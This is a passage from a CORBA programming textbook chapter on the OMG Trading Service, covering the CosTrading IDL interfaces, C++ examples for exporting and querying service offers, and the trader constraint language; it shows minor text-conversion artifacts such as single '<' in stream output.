    "CCS::MPControllers", 
    "IDL:acme.com/CCS/MPController:1.0", 
    props, 
    base_types 
); 
 
// Fill in property definitions for wireless controllers. 
props.length(1); 
props[0].name = CORBA::string_dup("Range"); 
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props[0].value_type = CORBA::TypeCode::_duplicate( 
                        CORBA::_tc_ulong 
                      ); 
props[0].mode = ServiceTypeRepository::PROP_MANDATORY; 
 
// Base type list is already initialized... 
 
// Create wireless controller service type. 
repos->add_type( 
    "CCS::WLControllers", 
    "IDL:acme.com/CCS/WLController:1.0", 
    props, 
    base_types 
); 
 
// Create wireless multiprotocol controller service type. 
// (This type does not create additional properties.) 
props.length(0); 
base_types.length(2); 
base_types[0] = "CCS::MPControllers"; 
base_types[1] = "CCS::WLControllers"; 
 
// Create wireless multiprotocol controller service type. 
repos->add_type( 
    "CCS::WLMPControllers", 
    "IDL:acme.com/CCS/WLMPController:1.0", 
    props, 
    base_types 
); 
 
       
Note that we tacitly assume here that the IDL types for the three derived controllers 
follow the inheritance structure shown in Figure 19.4. 

19.6 The Trader Interfaces 

The 11 trader interfaces are all part of the CosTrading module. They provide the 
functionality to import and export service offers, export proxy service offers, modify the 
federation structure, and configure a trader. Following is an outline of the IDL structure. 
      
//File: CosTrading.idl 
#pragma prefix "omg.org" 
module CosTrading { 
 
    interface TraderComponents  { /* ... */ };  // Abstract 
    interface SupportAttributes { /* ... */ };  // Abstract 
    interface ImportAttributes  { /* ... */ };  // Abstract 
    interface LinkAttributes    { /* ... */ };  // Abstract 
 
    interface Lookup : 
        TraderComponents, 
        SupportAttributes, 
        ImportAttributes        { /* ... */ }; 
 
    interface Register : 
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        TraderComponents, 
        SupportAttributes       { /* ... */ }; 
 
    interface Link : 
        TraderComponents, 
        SupportAttributes, 
        LinkAttributes          { /* ... */ }; 
 
    interface Proxy : 
        TraderComponents, 
        SupportAttributes       { /* ... */ }; 
 
    interface Admin : 
        TraderComponents, 
        SupportAttributes, 
        ImportAttributes, 
        LinkAttributes          { /* ... */ }; 
 
    interface OfferIterator     { /* ... */ }; 
    interface OfferIdIterator   { /* ... */ }; 
 
}; 
 
     
Note that the IDL defines four abstract base interfaces that are used to group related 
functionality that is used by the other interfaces. Figure 19.5 shows the corresponding 
IDL inheritance graph. 

Figure 19.5 Inheritance hierarchy for the trader interfaces. 
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19.6.1 Main Interfaces 

Figure 19.5 is intimidating at first glance, but it is not as bad as it looks. The main 
trader interfaces are as follows. 
Lookup 
Importers use the Lookup interface to retrieve the results of a service request. 
Register 
Exporters use the Register interface to create new service offers. 
Admin 
Trader administrators use the Admin interface to control policy values. 
Link 
Trader administrators use the Link interface to control the federation structure of a 
trader. 
Proxy 
 
Exporters use the Proxy interface to create new proxy offers. 
All five interfaces are singleton interfaces, so a trader offers exactly one instance of each 
interface to its clients. 
 
The reason for the fine-grained object model in Figure 19.5 is that the OMG Trading 
Service specification defines a number of compliance classes. A compliant trader is not 
required to support all these interfaces. Instead, the Lookup interface is the only interface 
that all OMG-compliant traders are required to implement. Apart from this requirement, 
any other combination of support for the remaining main interfaces is legal. (Support for 
dynamic properties, in the CosTradingDynamic module, is also optional.) The 
specification suggests, but does not limit traders to, a number of common compliance 
classes. 
 
Query trader 
A query trader supports only the Lookup interface. Such a trader is read-only and most 
commonly is used as a front end to an existing database. 
 
Simple trader 
A simple trader supports the Lookup and Register interfaces, so it permits both 
import and export operations. 
 
Stand-alone trader 
A stand-alone trader is a simple trader but also supports the Admin interface and 
therefore allows fine-grained control over the trader configuration via policies. 
 
Linked trader 
A linked trader adds federation support to a stand-alone trader by also supporting the 
Link interface. 
 
Proxy trader 
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A proxy trader adds proxy offer support to a stand-alone trader by also supporting the 
Proxy interface. 
 
Full-service trader 
A full-service trader supports all five of the main interfaces, possibly adding support for 
dynamic properties. 

19.6.2 Abstract Base Interfaces 

The base interfaces for the trader use inheritance to group common functionality that is 
required by the main interfaces. That is, the base interfaces are used as mix-in interfaces. 

The SupportAttributes Interface 

        
interface SupportAttributes { 
    readonly attribute boolean supports_modifiable_properties; 
    readonly attribute boolean supports_dynamic_properties; 
    readonly attribute boolean supports_proxy_offers; 
    readonly attribute TypeRepository type_repos; 
}; 
 
       
All five of the main interfaces inherit from SupportAttributes. The interface 
contains the type_repos attribute so that clients can obtain a reference to the type 
repository (see Section 19.5.4). The remaining three attributes indicate the level of 
support provided by this trader. For example, the 
supports_modifiable_properties attribute is true only if this trader permits 
updates of properties in place. The SupportAttributes interface permits clients to obtain 
the level of support available from their trader at run time and to dynamically adjust their 
behavior according to the level of support. 

The TraderComponents Interface 

        
interface TraderComponents { 
    readonly attribute Lookup   lookup_if; 
    readonly attribute Register register_if; 
    readonly attribute Link     link_if; 
    readonly attribute Proxy    proxy_if; 
    readonly attribute Admin    admin_if; 
}; 
 
       
All five of the main interfaces inherit from TraderComponents. The interface is a 
navigation interface. Given an object reference to an arbitrary trader interface, you can 
navigate to any one of the other interfaces by reading the appropriate attribute. 
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The main motivation for the TraderComponents interface is to avoid adding too 
many service name tokens to resolve_initial_references. Recall from Section 
19.5. 4 that only a single token is defined for the trader—namely, "TradingService". 
This token returns a Lookup interface, which in turn provides access to the remaining 
interfaces. Without this design, the specification would have had to add five new tokens 
to resolve_initial_references (six tokens if you count the type repository). 
 
If a trader does not support the full functionality of the specification, the corresponding 
attribute contains a nil reference. For example, if a trader does not support federation, the 
link_if attribute is nil. 

The ImportAttributes Interface 

        
enum FollowOption { local_only, if_no_local, always }; 
 
interface ImportAttributes { 
    readonly attribute unsigned long    def_search_card; 
    readonly attribute unsigned long    max_search_card; 
    readonly attribute unsigned long    def_match_card; 
    readonly attribute unsigned long    max_match_card; 
    readonly attribute unsigned long    def_return_card; 
    readonly attribute unsigned long    max_return_card; 
    readonly attribute unsigned long    max_list; 
    readonly attribute unsigned long    def_hop_count; 
    readonly attribute unsigned long    max_hop_count; 
    readonly attribute FollowOption     def_follow_policy; 
    readonly attribute FollowOption     max_follow_policy; 
}; 
 
       
The ImportAttributes interface allows importers to inquire about the setting of the 
import policies of a trader. We cover these policies in Section 19.11.6. 

The LinkAttributes Interface 

        
interface LinkAttributes { 
    readonly attribute FollowOption max_link_follow_policy; 
}; 
 
       
The LinkAttributes interface contains a single attribute that informs a client of the 
federation policy limit established by this trader (see Section 19.16.1). 

19.6.3 Iterators 

       
interface OfferIterator { 
    unsigned long   max_left() raises(UnknownMaxLeft); 
    boolean         next_n( 
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                        in unsigned long    n, 
                        out OfferSeq        offers 
                    ); 
    void            destroy(); 
}; 
 
interface OfferIdIterator { 
    unsigned long   max_left() raises(UnknownMaxLeft); 
    boolean         next_n( 
                        in unsigned long    n, 
                        out OfferIdSeq      ids 
                    ); 
    void            destroy(); 
}; 
 
      
These iterator interfaces are provided by all traders and permit you to retrieve a large 
result set incrementally. The OfferIterator interface is for use with service offers, 
whereas OfferIdIterator retrieves the internal identifiers a trader uses to identify 
its service offers. We show how to use these iterators in Section 19.11.3 and 
Section 19.13.2. 

19.6.4 Common Types 

The CosTrading module defines a number of common types and exceptions that are 
used by the main interfaces. Instead of presenting all of these type definitions together, 
we show them as we discuss the various operations. For the remainder of this chapter, 
whenever we show IDL definitions, they are nested inside the CosTrading module 
unless we indicate otherwise. 

19.7 Exporting Service Offers 

We first present the IDL definitions relevant to exporting service offers and then show a 
C++ code example. 

19.7.1 IDL Definitions for the export Operation 

The Register interface contains an export operation that creates a new service offer. 
Here is the IDL definition of export together with the definitions of the types and 
exceptions it depends on. 
       
// In module CosTrading... 
 
typedef string                     Istring; 
 
typedef Istring                    ServiceTypeName; 
 
typedef Istring                    PropertyName; 
typedef sequence<PropertyName>  PropertyNameSeq; 
typedef any                        PropertyValue; 



IT-SC book: Advanced CORBA® Programming with C++ 

 741

 
struct Property { 
    PropertyName    name; 
    PropertyValue   value; 
}; 
typedef sequence<Property>         PropertySeq; 
 
typedef string                     OfferId; 
 
exception UnknownServiceType { 
    ServiceTypeName type; 
}; 
 
exception IllegalServiceType { 
    ServiceTypeName type; 
}; 
 
exception IllegalPropertyName { 
    PropertyName name; 
}; 
 
exception DuplicatePropertyName { 
    PropertyName name; 
}; 
 
exception PropertyTypeMismatch { 
    ServiceTypeName type; 
    Property        prop; 
}; 
 
exception MissingMandatoryProperty { 
    ServiceTypeName type; 
    PropertyName    name; 
}; 
 
exception ReadonlyDynamicProperty { 
    ServiceTypeName type; 
    PropertyName    name; 
}; 
 
interface Register : TraderComponents, SupportAttributes { 
    exception InvalidObjectRef { 
        Object ref; 
     }; 
 
    exception UnknownPropertyName { 
        PropertyName name; 
    }; 
 
    exception InterfaceTypeMismatch { 
        ServiceTypeName type; 
        Object          reference; 
    }; 
    exception MandatoryProperty { 
        ServiceTypeName type; 
        PropertyName    name; 
    }; 
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    // ... 
 
    OfferId     export( 
                    in Object           reference, 
                    in ServiceTypeName  type, 
                    in PropertySeq      properties 
                ) raises( 
                    InvalidObjectRef, IllegalServiceType, 
                    UnknownServiceType, InterfaceTypeMismatch, 
                    IllegalPropertyName, PropertyTypeMismatch, 
                    ReadonlyDynamicProperty, 
                    MissingMandatoryProperty, 
                    DuplicatePropertyName 
                ); 
    // ... 
}; 
 
      
This IDL is complex because of the large number of exceptions that export can raise. 
However, the export operation requires only three parameters. 
 
reference 
This parameter is the IOR to the object that provides the service. For example, if you 
want to create a service offer for a controller, the IOR to the controller is passed in the 
reference parameter. 
 
type 
This is the name of the service type for controllers, such as CCS::Controllers. 
 
properties 
The properties parameter supplies the actual values of the properties for the service 
offer. This parameter is of type PropertySeq, which is a sequence of name-value pairs 
of type Property: 

         
typedef string                  Istring; 
typedef Istring                 PropertyName; 
typedef any                     PropertyValue; 
 
struct Property { 
    PropertyName    name; 
    PropertyValue   value; 
}; 
typedef sequence<Property>      PropertySeq; 
 
        

For each property defined in the service type, the properties parameter specifies the 
name of the property and its value as an any. 
 
The export operation ensures that the service offer is in agreement with its service type. 
The operation can raise the following exceptions: 
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InvalidObjectRef 
The object reference passed in the reference parameter is invalid. Most traders raise 
this exception if you pass a nil reference because it does not make sense to advertise a 
service offer without an actual service object. A trader can also raise this exception if the 
reference denotes a non-existent object. However, most traders do not implement this 
check because of the additional run-time cost it incurs. 
 
IllegalServiceType 
The service type name passed in the type parameter is syntactically invalid. 
 
UnknownServiceType 
The service type name passed in the type parameter denotes a non-existent service type. 
 
InterfaceTypeMismatch 
The object reference passed in the reference parameter has a type that is not the same 
as, nor derived from, the IDL interface type specified in the service type. This exception 
exists so that you cannot place a reference to the wrong kind of object into a service offer 
(see page 845). Note that many traders never raise this exception. Such traders make you 
responsible for ensuring that the IDL interface type of the service provider matches the 
service type. 
 
IllegalPropertyName 
The name of a property is not a simple IDL identifier. 
 
PropertyTypeMismatch 
The value of a property has a type that differs from the type for the property as specified 
in the service type. You will get this exception if, for example, the any value of a 
property contains a string but the service requires the property to contain a Boolean value. 
 
ReadonlyDynamicProperty 
Read-only properties cannot be dynamic, so this exception is raised if you supply a 
dynamic property value for a read-only property. 
 
MissingMandatoryProperty 
The properties parameter does not contain a value for a property that is mandatory. 
 
DuplicatePropertyName 
The properties parameter contains more than one definition for a particular property. 
 
The return value from export is of type OfferId, which is a string. The offer ID is an 
opaque value assigned by the trader; it uniquely identifies the new service offer. You 
must take care to store the return value somewhere, at least if you want to be able to 
withdraw the service offer. This is necessary because the withdraw operation requires 
you to supply the offer ID returned by the export operation. If you lose the offer ID, it is 
possible to locate the offer and to withdraw it, but only with considerable effort (see 
Sections 19.12 and 19.14), so it is best not to lose the offer ID in the first place. 



IT-SC book: Advanced CORBA® Programming with C++ 

 744 

19.7.2 C++ Code for Exporting Service Offers 

To export (create) a new service offer, you must hold an object reference to the trader's 
Register interface. You obtain that reference by reading the register_if attribute 
on the Lookup interface returned from resolve_initial_references. After you 
have a reference to the Register interface, you can invoke the export operation. The 
following code example shows how to create a service offer for a controller. We assume 
that we have previously created a service type for controllers as shown on page 851. 
       
using namespace CosTrading; 
 
// Get reference to Lookup interface. 
Lookup_var lookup; 
lookup = resolve_init<CosTrading::Lookup>(orb, "TradingService"); 
 
// Navigate to Register interface. 
register_var regis = lookup->register_if(); 
if (CORBA::is_nil(regis)) { 
    cout < "Trader does not support updates." < endl; 
    throw 0; 
} 
 
// Fill in property definition for controller. 
PropertySeq props; 
props.length(3); 
props[0].name = CORBA::string_dup("Model"); 
props[0].value <= "BFG-9000"; 
 
props[1].name = CORBA::string_dup("Phone"); 
props[1].value <= "123 456-7890"; 
 
props[2].name = CORBA::string_dup("Description"); 
props[2].value <= "Deluxe model for advanced users."; 
 
// Get the reference to the controller we want to advertise. 
CCS::Controller_var ctrl = ...; 
 
// Export the offer. 
OfferId_var offer_id = regis->_cxx_export( 
                        ctrl, "CCS::Controllers", props 
                       ); 
cout < "Created new offer with id " < offer_id < endl; 
 
      
Note that this code supplies only the mandatory properties and does not supply values for 
optional properties. We could also have supplied values for the optional properties, in 
which case their type would have to match the service type definition. 

19.7.3 Additional Properties 

If you take a careful look at the preceding code example, you will notice something 
unusual. The code creates a property named Description for the export operation 
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even though the service type for controllers does not define this property. This behavior 
is perfectly OK and does not cause any problems. The trader specification requires the 
trader to accept properties that are not mentioned by the service type. In other words, the 
trader enforces the type system only for those properties that are actually defined by the 
service type but accepts any property with any type of value if that property is not defined 
by the service type. 
 
The main motivation for this behavior is extensibility. For example, if we are in the 
business of selling controllers, we may be forced to use an industry-standard service type 
to advertise the controllers. However, that makes it difficult to distinguish ourselves from 
the competition. For example, we may want to have properties that describe unique 
features of our controller that were not anticipated when the service type was agreed on. 
 
Although additional properties that do not appear in the service type can be useful, they 
are also something of a two-edged sword. Unless we are careful, the following may 
happen: 
       
using namespace CosTrading; 
 
// Get reference to register interface... 
Register_var regis = ...; 
 
// Fill in property definition for controller. 
PropertySeq props; 
props.length(3); 
props[0].name = CORBA::string_dup("Model"); 
props[0].value <= "BFG-9000"; 
 
props[1].name = CORBA::string_dup("Phone"); 
props[1].value <= "123 456-7890"; 
 
props[2].name = CORBA::string_dup("MasDevices");    // Oops! 
props[2].value <= (CORBA::ULong)256; 
 
// Get the reference to the controller we want to advertise. 
CCS::Controller_var ctrl = ...; 
 
// Export the offer. 
OfferId_var offer_id = regis->_cxx_export( 
                        ctrl, "CCS::Controllers", props 
                       ); 
cout < "Created new offer with id " < offer_id < endl; 
 
      
You must look closely to spot the problem with this code. The code initializes the third 
element of the props sequence to indicate the maximum number of devices supported 
by the controller. However, the code contains a typo: instead of setting the value of the 
MaxDevices property, the code creates an additional property called MasDevices. 
Unfortunately, this error goes undetected because MaxDevices is an optional property. 
As far as the service type is concerned, there is nothing wrong with this service offer. 
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Another potential problem of additional properties is that because there is no type 
definition for the property, the trader cannot enforce type consistency. Instead, for 
additional properties, it accepts values of any type at all. This places the burden of 
maintaining type consistency on the developer. For example, in the code example on 
page 864, we used an additional property called Description and gave it a string 
value. If we create a number of such service offers, we could supply a floating-point 
number as the value of the Description property in some of these offers (most likely 
because of a bug in the code). This can create havoc: half the offers in the trader might 
have a string in the Description property, whereas the other half might contain 
floating-point values. What happens when we formulate a query using this property is 
undefined in this case. 
 
Because of the potential pitfalls with additional properties, we recommend that you use 
the feature with caution. If you decide to use additional properties, take care that value 
types are consistent. Otherwise, queries will yield unpredictable results. 

19.8 Withdrawing Service Offers 

The withdraw operation deletes a service offer from the trader: 
      
// In module CosTrading... 
 
exception IllegalOfferId { 
    OfferId id; 
 
}; 
 
exception UnknownOfferId { 
    OfferId id; 
}; 
 
exception ProxyOfferId { 
    OfferId id; 
}; 
 
// ... 
 
interface Register : TraderComponents, SupportAttributes { 
    // ... 
    void        withdraw(in OfferId id) raises( 
                    IllegalOfferId, 
                    UnknownOfferId, 
                    ProxyOfferId 
                ); 
    // ... 
}; 
 
     
The id parameter passed to withdraw is an offer ID previously returned by an 
export operation on the same trader. The operation raises UnknownOfferId if the 
id parameter identifies a non-existent service offer. IllegalOfferId indicates that 
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the offer ID does not conform to whatever syntax is used by the trader for its offer IDs. 
Attempts to delete a proxy offer by calling withdraw raise a ProxyOfferId 
exception. To delete a proxy offer, you must use the Proxy::withdraw_proxy 
operation. 

19.9 Modifying Service Offers 

You can use the Register::modify operation to change the property values of a 
service offer in place: 
      
// In module CosTrading... 
 
exception NotImplemented {}; 
 
// ... 
 
interface Register : TraderComponents, SupportAttributes { 
    // ... 
 
    exception ReadonlyProperty { 
        ServiceTypeName type; 
        PropertyName    name; 
    }; 
 
    void        modify( 
                    in OfferId          id, 
                    in PropertyNameSeq  del_list, 
                    in PropertySeq      modify_list 
                ) raises( 
                    NotImplemented, IllegalOfferId, 
                    UnknownOfferId, ProxyOfferId, 
                    IllegalPropertyName, UnknownPropertyName, 
                    PropertyTypeMismatch, ReadonlyDynamicProperty, 
                    MandatoryProperty, ReadonlyProperty, 
                    DuplicatePropertyName 
                ); 
    // ... 
}; 
 
     
You can use modify to add optional properties to an existing offer, to change the value 
of existing modifiable properties, and to delete existing optional and modifiable 
properties. You are not allowed to delete an optional but read-only property because 
doing so would allow you to modify a read-only property by deleting it and adding it 
again with a new value. 
 
The modify operation requires three parameters. 
id 
This parameter identifies the service offer to modify by specifying the offer ID returned 
from the export operation used to create the offer. 
del_list 
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This parameter contains a sequence of property names. Properties whose names are on 
this sequence are removed from the service offer. 
 
modify_list 
This parameter supplies names and values for properties to be added or changed. 
As you can see, the operation can raise a number of exceptions. The NotImplemented 
exception is raised by traders that do not support modifiable properties. (For such traders, 
the supports_modifiable_properties attribute on the 
SupportAttributes interface is false.) The remaining exceptions have the same 
meaning as with the export and withdraw operations. 

19.10 The Trader Constraint Language 

Before we can look at how to import service offers, we must examine the trader 
constraint language. To select the service offers to be returned, the importer specifies a 
constraint using the constraint language. The constraint is a Boolean expression over the 
properties of service offers that have a nominated service type or have a service type 
derived from the nominated type. The trader matches service offers against the constraint. 
Those service offers that match become candidates to be returned from an import 
operation. 
 
Note that the trader is free to return service offers that have a derived service type 
because derived service types guarantee two things: first, the IDL interface type of the 
object reference inside a derived service offer is compatible with that of the base service 
type; second, a derived service offer has all the properties defined in its base service type. 
In our controller example, these guarantees mean that if the importer asks for a controller, 
the trader is also free to return matching multiprotocol controllers because a 
multiprotocol controller can do everything an ordinary controller can. (You can suppress 
this polymorphic behavior by setting an import policy. However, suppressing 
polymorphism is generally a bad idea; the feature is provided mainly for trader 
maintenance purposes.) 

19.10.1 Literals 

The constraint language uses the same syntax as IDL for integer and floating-point 
literals. For example, -10.068E5 is a valid floating-point literal, and 999 is a valid 
integer literal. 
 
Boolean literals are also the same as in IDL: TRUE and FALSE. The simplest possible 
constraint expression is TRUE—it matches all service offers. 
 
Character literals differ from their IDL counterparts. The trader constraint language, like 
IDL, uses single quotation marks to delimit character literals but does not support the 
same escape sequences. The following are all valid character literals: 
       
'A' 
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' ' 
'\'' 
'\\' 
 
      
You can include a literal single quotation mark by escaping it with a backslash, and you 
can include a literal backslash by escaping it with another backslash. There are no other 
escape sequences, so a literal such as '\023' is illegal.[3]  

[3] A future revision of the specification may permit such escape sequeces. 

String literals are also delimited by single quotation marks. Here are a few legal string 
literals: 
       
'A' 
'Hello World' 
'Isn\'t this nice?' 
'Literal backslash: \\' 
 
      
The escape sequence conventions are the same as for character literals, so the only legal 
escape sequences are \' and \\. Note that a single-character literal, such as 'A', is both a 
legal character literal and a legal string literal. The trader uses the context in which the 
literal appears to deduce its type. 

19.10.2 Identifiers 

Whenever an identifier appears in a constraint, it refers to a property name. Identifiers 
follow the syntax for IDL identifiers. Because the properties are the only thing that can be 
named in a constraint, identifiers cannot be qualified using a :: operator (there is never a 
need to qualify them). 

19.10.3 Comparison Operators 

The constraint language provides the usual comparison operators: 
       
== 
!= 
< 
> 
<= 
>= 
 
      
These operators have the same meaning as they do in C++. All of them can be applied to 
numeric types, strings, characters, and Boolean values. For strings and characters, 
comparisons use the ISO Latin-1 collating sequence. For Boolean comparisons, TRUE is 
greater than FALSE. 

19.10.4 Arithmetic Operators 
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The constraint language supports the following arithmetic operators: 
       
+ 
- 
* 
/ 
 
      
The - operator is both unary and binary. There is no modulo operator. The arithmetic 
operators apply to integer and floating-point types. Mixed-mode arithmetic is supported. 
The trader applies type promotion rules to permit mixed-mode arithmetic, but the 
specification does not spell out these type promotion rules. You should be careful about 
conditions such as overflow, underflow, and value truncation because the results are 
implementation-dependent. 

19.10.5 Boolean Operators 

The constraint language provides the Boolean operators and, or, and not. These 
operators are reserved words, so do not create properties with these names; otherwise, 
you will not be able to use them in queries. For example, if you create a property called 
and, there is no way to use that property name in an expression because it will result in a 
syntax error. 

19.10.6 Set Membership 

The in operator tests for set membership. The left-hand operand must be an integer, 
floating-point, character, string, or Boolean value. The right-hand operand must be a 
sequence of elements of the type of the left-hand operand. For example: 
       
'Visa' in CreditCards 
 
      
The in operator returns true if CreditCards is a property of type sequence of string 
and if 'Visa' appears as one of the elements of the sequence. Note that the in operator 
cannot test for set membership of an enumerated value in a sequence. 

19.10.7 Substring Matching 

The ~ operator tests whether the string on the left appears as a substring of the string on 
the right. The match is always a literal string match; there are no wild cards or regular 
expressions. Here is a simple example: 
       
'part' ~ 'departments' 
 
      
This expression returns true. Either the left-hand or the right-hand (or both) operands can 
be identifiers that name a property, so the following is legal: 
       
'90' ~ Model 
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This expression returns true if 90 appears anywhere in the Model string property. 

19.10.8 Testing for Existence 

The exist operator is a unary operator. It returns true if the property named by its right-
hand argument exists. For example: 
       
exist Model 
 
      
The exist operator permits you to test for the existence of optional properties: 
       
exist Model and Model == 'BFG-9000' 
 
      
This expression returns true if a service offer has the optional Model property and if that 
property's value is 'BFG-9000'. Strictly speaking, the exist operator is redundant in 
the preceding expression. We could also write 
       
Model == 'BFG-9000' 
 
      
This has the same meaning because all comparison operators return false if they are 
applied to an optional property that does not exist in a service offer. As a result, the 
exist operator is required only if you want to locate service offers that have an optional 
property without specifying a value for that property. 

19.10.9 Precedence 

The operators for the constraint language have the following precedence, from highest to 
lowest (operators on the same line have the same precedence): 
       
exist - (unary minus) 
not 
* / 
+ - 
~ 
in 
== != < <= > >= 
and 
or 
 
      
You can use parentheses to override precedence as necessary. 

19.10.10 Constraint Language Example 

Here again is the query from page 831: 
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Find a set of steel radial tires on offer in the San Francisco Bay area with a speed rating 
of at least 120 m.p.h., size P205/65R15, made by either Bridgestone or Goodyear. Make 
sure that either Visa or MasterCard is accepted for payment. 
 
We can express this query as a constraint as follows: 
       
Location == 'San Francisco Bay' 
and Speed >= 120 
and Size == 'P205/65R15' 
and (Manufacturer == 'Bridgestone' or Manufacturer == 'Goodyear') 
and ('Visa' in CreditCards or 'MasterCard' in CreditCards) 
 
      
The constraint looks like an SQL where clause. The specification makes this choice to 
permit implementations of traders to directly use SQL database back ends. Note that a 
constraint string can be split over several lines (white space and indentation are not 
significant except to separate tokens). 

19.11 Importing Service Offers 

The trader allows importers detailed control over how a trader is to search for matching 
service offers and how these service offers should be returned. As a result, the import 
operation has a large number of parameters. Again, we discuss the relevant IDL 
definition and then show a number of examples of importing service offers from C++. 

19.11.1 IDL for the Lookup Interface 

Importers use the Lookup interface to import service offers. The Lookup interface has 
only a single operation, query:[4]  

[4] It is a little unfortunate that the export operation is called export but the import operation 
is called query. The authors would have preferred more consistent naming of operations. 

       
typedef Istring                    Constraint; 
typedef string                     PolicyName; 
typedef sequence<PolicyName>    PolicyNameSeq; 
typedef any                        PolicyValue; 
 
struct Policy { 
    PolicyName  name; 
    PolicyValue value; 
}; 
typedef sequence<Policy> PolicySeq; 
 
struct Offer { 
    Object      reference; 
    PropertySeq properties; 
}; 
typedef sequence<Offer> OfferSeq; 
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interface OfferIterator;    // Forward declaration 
 
exception IllegalConstraint { 
    Constraint constr; 
}; 
 
exception DuplicatePolicyName { 
    PolicyName name; 
}; 
 
interface Lookup : 
        TraderComponents, SupportAttributes, ImportAttributes { 
 
    enum HowManyProps { none, some, all }; 
 
    union SpecifiedProps switch (HowManyProps) { 
    case some: 
        PropertyNameSeq prop_names; 
    }; 
 
    typedef Istring Preference; 
    exception IllegalPreference { 
        Preference pref; 
    }; 
 
    exception IllegalPolicyName { 
        PolicyName name; 
    }; 
    exception PolicyTypeMismatch { 
        Policy the_policy; 
    }; 
 
    exception InvalidPolicyValue { 
        Policy the_policy; 
    }; 
 
    void    query( 
                in ServiceTypeName  type, 
                in Constraint       constr, 
                in Preference       pref, 
                in PolicySeq        policies, 
                in SpecifiedProps   desired_props, 
                in unsigned long    how_many, 
                out OfferSeq        offers, 
                out OfferIterator   offer_itr, 
                out PolicyNameSeq   limits_applied 
            ) raises( 
                IllegalServiceType, UnknownServiceType, 
                IllegalConstraint, IllegalPreference, 
                IllegalPolicyName, PolicyTypeMismatch, 
                InvalidPolicyValue, IllegalPropertyName, 
                DuplicatePropertyName, DuplicatePolicyName 
            ); 
}; 
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The query operation has six in parameters and three out parameters. (As a matter of 
style, the authors would have preferred several versions of the query operation instead 
of a single Swiss army knife operation that offers all possible options.) The parameters 
are as follows. 
 
type 
The type parameter nominates the service type for the query. The trader considers offers 
of the nominated type and types derived from the nominated type as eligible for matching 
against the constraint. 
 
constr 
This parameter specifies the constraint string to be used. The constraint string can be the 
empty string, which means the same thing as TRUE. 
pref 
This parameter allows you to specify a preference for a query (see Section 19.11.5). 
You can pass an empty string as the pref parameter, in which case the trader uses the 
default preference. 
 
policies 
This parameter specifies the import policies that should be applied to the query. You can 
pass an empty sequence as the policies parameter, in which case the trader uses the 
configured default policies. 
desired_props 
This parameter specifies the policy values to be returned for each matching service offer. 
You can select to get only the object reference to the service provider or select to also get 
all or a specified subset of the property values of each matching service offer. 
 
how_many 
This parameter is analogous to its use in the Naming Service. It specifies the maximum 
number of matching service offers to be returned from the query operation. 
offers 
The offers parameter returns a sequence of service offers that match the constraint. 
 
offer_itr 
If a query returns a large number of service offers, this out parameter contains a 
reference to an OfferIterator object that you can use to incrementally retrieve the 
remainder of the result. 
 
limits_applied 
During evaluation of the query, a trader can apply certain limits. For example, the trader 
can limit the search space to a certain number of offers. The limits_applied out 
parameter returns the names of the policies that were used to limit the query. 
 
The query operation can raise a number of exceptions. We discuss some of them in the 
preceding sections. Here are the exceptions that are new. 
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IllegalConstraint 
The constraint string passed to the query is syntactically malformed or contains a 
semantic error (such as comparing a string for equality with a number). 
 
DuplicatePolicyName 
The policies parameter contains two or more elements that have the same policy 
name. 
 
IllegalPreference 
The string passed in the pref parameter is syntactically invalid or contains a semantic 
error. 
 
IllegalPolicyName 
The policies parameter contains a policy name that is syntactically malformed or is 
not recognized by the trader. 
 
PolicyTypeMismatch 
A policy value has a type that does not match the expected type for that policy. 
 
InvalidPolicyValue 
A policy value is out of range or otherwise considered meaningless. 

19.11.2 Writing a Simple Query 

Following is a simple query to locate a service offer for a controller. 
       
using namespace CosTrading; 
 
// Get reference to Lookup interface. 
Lookup_var lookup; 
lookup = resolve_init<CosTrading::Lookup>(orb, "Tradi ngService"); 
 
PolicySeq policies;                     // Empty sequence 
 
Lookup::SpecifiedProps desired_props;   // Don't return properties 
desired_props._default(); 
desired_props._d(Lookup::none); 
 
PolicyNameSeq_var   policies_applied;   // out param 
OfferSeq_var        offers;             // out param 
OfferIterator_var   iterator;           // out param 
 
// Run query without preferences using default policies. 
lookup->query( 
    "CCS::Controllers", "TRUE", "", policies, desired_props, 1, 
    offers, iterator, policies_applied 
); 
 
// Process results. 
CCS::Controller_var ctrl; 
if (offers->length() == 0) { 
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    cout < "No matching service offer." < endl; 
} else { 
 
    // Extract controller reference from returned offer. 
    ctrl = CCS::Controller::_narrow(offers[0].reference); 
    if (CORBA::is_nil(ctrl)) { 
        cerr < "Service provider is not a controller!" < endl; 
        throw 0; 
    } 
} 
 
// Clean up 
if (!CORBA::is_nil(iterator)) 
    iterator->destroy(); 
 
// Use controller... 
 
      
This code goes through the following steps: 

Step 1.  
Get a Lookup reference from resolve_initial_references. (We use the 
resolve_init template function defined in Section 18.14.1.) 

Step 2.  
Initialize a SpecifiedProps union. For this example, we set the discriminator to 
none, which indicates that we do not want property values to be returned. 

Step 3.  
Invoke the query operation. We specify "CCS::Controllers" as the service type 
and "TRUE" as the constraint, so any controller at all will match the constraint. The third 
parameter is an empty string (indicating that the default preferences apply), and the fourth 
parameter is an empty policy sequence (indicating that the default policies apply). The 
desired_props parameter, initialized in step 2, indicates that no property values are 
to be returned. The how_many parameter is 1, and that guarantees that the sequence of 
matching offers returned in the offers parameter will contain no more than one service 
offer. 

Step 4.  
After the call completes, the code checks the length of the returned offer sequence. If 
the sequence is empty, no matching controllers were found. Otherwise, the offer 
sequence contains exactly one element (because how_many was set to 1 for the call) and 
the code narrows the reference contained in the service offer to the CCS::Controller 
type. The actual type of the reference may be derived from CCS::Controller; if it 
is, the _narrow call still succeeds. 

Step 5.  
The trader may have created an iterator to hold other matching service offers. If it has, the 
code immediately destroys the iterator because it is not interested in any other matching 
service offers. 

19.11.3 The OfferIterator Interface 
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We may be interested in finding all controllers that match the constraint instead of only a 
single one. As with the Naming Service, this creates the problem of how to return result 
sets of arbitrary size from an operation. The trader uses an iterator interface that is similar, 
but unfortunately not identical, to that of the Naming Service. Here are the semantics of 
the how_many parameter and the OfferIterator interface. 
 
The offer sequence returned by query contains no more than how_many elements. If 
how_many is set to zero, the returned offer sequence is guaranteed to be empty and 
results must be retrieved via the iterator. 
 
The trader may return fewer than how_many offers in the offer sequence. If 
how_many is non-zero, the offer sequence is empty only if there are no matching 
results. If how_many is zero, you use the returned iterator (if any) to determine how 
many results there are. 
 
If not all matching offers are returned in the offer sequence, the offer_itrout 
parameter is used to retrieve the remaining offers. 
The OfferIterator interface is specified by the following IDL. 
       
// In module CosTrading... 
 
exception UnknownMaxLeft {}; 
 
interface OfferIterator { 
    boolean next_n(in unsigned long n, out OfferSeq offers); 
